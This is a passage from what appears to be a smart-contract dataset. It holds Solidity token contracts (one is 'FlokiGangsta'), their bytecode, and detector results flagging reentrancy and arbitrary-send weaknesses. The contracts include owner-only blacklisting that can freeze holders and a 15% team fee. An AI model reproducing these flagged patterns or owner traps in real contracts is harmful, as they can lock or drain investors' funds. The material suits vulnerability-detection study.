_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 60000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057a578063dd62ed3e1461059a578063ea1644d5146105e0578063f2fde38b1461060057600080fd5b8063a2a957bb146104f5578063a9059cbb14610515578063bfd7928414610535578063c3c8cd801461056557600080fd5b80638f70ccf7116100d15780638f70ccf7146104745780638f9a55c01461049457806395d89b41146104aa57806398a5c315146104d557600080fd5b80637d1db4a5146103fe5780637f2feddc146104145780638203f5fe146104415780638da5cb5b1461045657600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039457806370a08231146103a9578063715018a6146103c957806374010ece146103de57600080fd5b8063313ce5671461031857806349bd5a5e146103345780636b999053146103545780636d8aa8f81461037457600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e25780632fd689e31461030257600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a57565b610620565b005b34801561021557600080fd5b5060408051808201909152601081526f546974616e69756d2046696e616e636560801b60208201525b60405161024b9190611b1c565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611b71565b6106bf565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b50683635c9adc5dea000005b60405190815260200161024b565b3480156102ee57600080fd5b506102746102fd366004611b9d565b6106d6565b34801561030e57600080fd5b506102d460175481565b34801561032457600080fd5b506040516009815260200161024b565b34801561034057600080fd5b506014546102a4906001600160a01b031681565b34801561036057600080fd5b5061020761036f366004611bde565b61073f565b34801561038057600080fd5b5061020761038f366004611c0b565b61078a565b3480156103a057600080fd5b506102076107d2565b3480156103b557600080fd5b506102d46103c4366004611bde565b6107ff565b3480156103d557600080fd5b50610207610821565b3480156103ea57600080fd5b506102076103f9366004611c26565b610895565b34801561040a57600080fd5b506102d460155481565b34801561042057600080fd5b506102d461042f366004611bde565b60116020526000908152604090205481565b34801561044d57600080fd5b506102076108d6565b34801561046257600080fd5b506000546001600160a01b03166102a4565b34801561048057600080fd5b5061020761048f366004611c0b565b610a8e565b3480156104a057600080fd5b506102d460165481565b3480156104b657600080fd5b50604080518082019091526002815261546960f01b602082015261023e565b3480156104e157600080fd5b506102076104f0366004611c26565b610aed565b34801561050157600080fd5b50610207610510366004611c3f565b610b1c565b34801561052157600080fd5b50610274610530366004611b71565b610b76565b34801561054157600080fd5b50610274610550366004611bde565b60106020526000908152604090205460ff1681565b34801561057157600080fd5b50610207610b83565b34801561058657600080fd5b50610207610595366004611c71565b610bb9565b3480156105a657600080fd5b506102d46105b5366004611cf5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ec57600080fd5b506102076105fb366004611c26565b610c5a565b34801561060c57600080fd5b5061020761061b366004611bde565b610c89565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161064a90611d2e565b60405180910390fd5b60005b81518110156106bb5760016010600084848151811061067757610677611d63565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b381611d8f565b915050610656565b5050565b60006106cc338484610d73565b5060015b92915050565b60006106e3848484610e97565b610735843361073085604051806060016040528060288152602001611ea9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112f2565b610d73565b5060019392505050565b6000546001600160a01b031633146107695760405162461bcd60e51b815260040161064a90611d2e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b45760405162461bcd60e51b815260040161064a90611d2e565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f257600080fd5b476107fc8161132c565b50565b6001600160a01b0381166000908152600260205260408120546106d090611366565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161064a90611d2e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161064a90611d2e565b653691d6afc00081116108d157600080fd5b601555565b6000546001600160a01b031633146109005760405162461bcd60e51b815260040161064a90611d2e565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610965573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109899190611daa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fa9190611daa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6b9190611daa565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab85760405162461bcd60e51b815260040161064a90611d2e565b601454600160a01b900460ff1615610acf57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b175760405162461bcd60e51b815260040161064a90611d2e565b601755565b6000546001600160a01b03163314610b465760405162461bcd60e51b815260040161064a90611d2e565b60095482111580610b595750600b548111155b610b6257600080fd5b600893909355600a91909155600955600b55565b60006106cc338484610e97565b6012546001600160a01b0316336001600160a01b031614610ba357600080fd5b6000610bae306107ff565b90506107fc816113ea565b6000546001600160a01b03163314610be35760405162461bcd60e51b815260040161064a90611d2e565b60005b82811015610c54578160056000868685818110610c0557610c05611d63565b9050602002016020810190610c1a9190611bde565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4c81611d8f565b915050610be6565b50505050565b6000546001600160a01b03163314610c845760405162461bcd60e51b815260040161064a90611d2e565b601655565b6000546001600160a01b03163314610cb35760405162461bcd60e51b815260040161064a90611d2e565b6001600160a01b038116610d185760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064a565b6001600160a01b038216610e365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064a565b6001600160a01b038216610f5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064a565b60008111610fbf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064a565b6000546001600160a01b03848116911614801590610feb57506000546001600160a01b03838116911614155b156111eb57601454600160a01b900460ff16611084576000546001600160a01b038481169116146110845760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064a565b60155481111561109357600080fd5b6001600160a01b03831660009081526010602052604090205460ff161580156110d557506001600160a01b03821660009081526010602052604090205460ff16155b6110de57600080fd5b6014546001600160a01b038381169116146111145760165481611100846107ff565b61110a9190611dc7565b1061111457600080fd5b600061111f306107ff565b6017546015549192508210159082106111385760155491505b80801561114f5750601454600160a81b900460ff16155b801561116957506014546001600160a01b03868116911614155b801561117e5750601454600160b01b900460ff165b80156111a357506001600160a01b03851660009081526005602052604090205460ff16155b80156111c857506001600160a01b03841660009081526005602052604090205460ff16155b156111e8576111d6826113ea565b4780156111e6576111e64761132c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061122d57506001600160a01b03831660009081526005602052604090205460ff165b8061125f57506014546001600160a01b0385811691161480159061125f57506014546001600160a01b03848116911614155b1561126c575060006112e6565b6014546001600160a01b03858116911614801561129757506013546001600160a01b03848116911614155b156112a957600854600c55600954600d555b6014546001600160a01b0384811691161480156112d457506013546001600160a01b03858116911614155b156112e657600a54600c55600b54600d555b610c5484848484611564565b600081848411156113165760405162461bcd60e51b815260040161064a9190611b1c565b5060006113238486611ddf565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bb573d6000803e3d6000fd5b60006006548211156113cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064a565b60006113d7611592565b90506113e383826115b5565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061143257611432611d63565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561148b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114af9190611daa565b816001815181106114c2576114c2611d63565b6001600160a01b0392831660209182029290920101526013546114e89130911684610d73565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611521908590600090869030904290600401611df6565b600060405180830381600087803b15801561153b57600080fd5b505af115801561154f573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b80611571576115716115f7565b61157c848484611625565b80610c5457610c54600e54600c55600f54600d55565b600080600061159f61171c565b90925090506115ae82826115b5565b9250505090565b60006113e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061175e565b600c541580156116075750600d54155b1561160e57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116378761178c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061166990876117e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611698908661182b565b6001600160a01b0389166000908152600260205260409020556116ba8161188a565b6116c484836118d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161170991815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061173882826115b5565b82101561175557505060065492683635c9adc5dea0000092509050565b90939092509050565b6000818361177f5760405162461bcd60e51b815260040161064a9190611b1c565b5060006113238486611e67565b60008060008060008060008060006117a98a600c54600d546118f8565b92509250925060006117b9611592565b905060008060006117cc8e87878761194d565b919e509c509a509598509396509194505050505091939550919395565b60006113e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f2565b6000806118388385611dc7565b9050838110156113e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064a565b6000611894611592565b905060006118a2838361199d565b306000908152600260205260409020549091506118bf908261182b565b30600090815260026020526040902055505050565b6006546118e190836117e9565b6006556007546118f1908261182b565b6007555050565b6000808080611912606461190c898961199d565b906115b5565b90506000611925606461190c8a8961199d565b9050600061193d826119378b866117e9565b906117e9565b9992985090965090945050505050565b600080808061195c888661199d565b9050600061196a888761199d565b90506000611978888861199d565b9050600061198a8261193786866117e9565b939b939a50919850919650505050505050565b6000826119ac575060006106d0565b60006119b88385611e89565b9050826119c58583611e67565b146113e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b8035611a5281611a32565b919050565b60006020808385031215611a6a57600080fd5b823567ffffffffffffffff80821115611a8257600080fd5b818501915085601f830112611a9657600080fd5b813581811115611aa857611aa8611a1c565b8060051b604051601f19603f83011681018181108582111715611acd57611acd611a1c565b604052918252848201925083810185019188831115611aeb57600080fd5b938501935b82851015611b1057611b0185611a47565b84529385019392850192611af0565b98975050505050505050565b600060208083528351808285015260005b81811015611b4957858101830151858201604001528201611b2d565b81811115611b5b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b8457600080fd5b8235611b8f81611a32565b946020939093013593505050565b600080600060608486031215611bb257600080fd5b8335611bbd81611a32565b92506020840135611bcd81611a32565b929592945050506040919091013590565b600060208284031215611bf057600080fd5b81356113e381611a32565b80358015158114611a5257600080fd5b600060208284031215611c1d57600080fd5b6113e382611bfb565b600060208284031215611c3857600080fd5b5035919050565b60008060008060808587031215611c5557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c8657600080fd5b833567ffffffffffffffff80821115611c9e57600080fd5b818601915086601f830112611cb257600080fd5b813581811115611cc157600080fd5b8760208260051b8501011115611cd657600080fd5b602092830195509350611cec9186019050611bfb565b90509250925092565b60008060408385031215611d0857600080fd5b8235611d1381611a32565b91506020830135611d2381611a32565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611da357611da3611d79565b5060010190565b600060208284031215611dbc57600080fd5b81516113e381611a32565b60008219821115611dda57611dda611d79565b500190565b600082821015611df157611df1611d79565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e465784516001600160a01b031683529383019391830191600101611e21565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e8457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ea357611ea3611d79565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f1277f748ea0a78d4a3e36261bf61d1b10f3b83789828296d0b5482211b056764736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,152 |
0xDf68A86a11367f94D2c73E8e8Dbf7FCf52d3c9f4
|
/*
https://t.me/gangstafloki
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiGangsta is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Floki Gangsta | t.me/flokigangsta";
string private constant _symbol = "Gloki";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 15;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906129a4565b610420565b005b34801561014d57600080fd5b5061015661054a565b6040516101639190612e5d565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612964565b61056a565b6040516101a09190612e42565b60405180910390f35b3480156101b557600080fd5b506101be610588565b6040516101cb9190612fff565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612911565b610599565b6040516102089190612e42565b60405180910390f35b34801561021d57600080fd5b50610226610672565b005b34801561023457600080fd5b5061023d610bcf565b60405161024a9190613074565b60405180910390f35b34801561025f57600080fd5b5061027a600480360381019061027591906129ed565b610bd8565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612877565b610c8a565b005b3480156102b157600080fd5b506102ba610d7a565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612877565b610dec565b6040516102f09190612fff565b60405180910390f35b34801561030557600080fd5b5061030e610e3d565b005b34801561031c57600080fd5b50610325610f90565b6040516103329190612d74565b60405180910390f35b34801561034757600080fd5b50610350610fb9565b60405161035d9190612e5d565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612964565b610ff6565b60405161039a9190612e42565b60405180910390f35b3480156103af57600080fd5b506103b8611014565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a47565b61108e565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128d1565b6111d7565b6040516104179190612fff565b60405180910390f35b61042861125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f5f565b60405180910390fd5b60005b8151811015610546576001600a60008484815181106104da576104d96133bc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061053e90613315565b9150506104b8565b5050565b606060405180606001604052806021815260200161377b60219139905090565b600061057e61057761125e565b8484611266565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105a6848484611431565b610667846105b261125e565b6106628560405180606001604052806028815260200161379c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061061861125e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf09092919063ffffffff16565b611266565b600190509392505050565b61067a61125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610707576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fe90612f5f565b60405180910390fd5b600f60149054906101000a900460ff1615610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90612e9f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107e730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611266565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561082d57600080fd5b505afa158015610841573d6000803e3d6000fd5b505050506040513d601f19601f820116820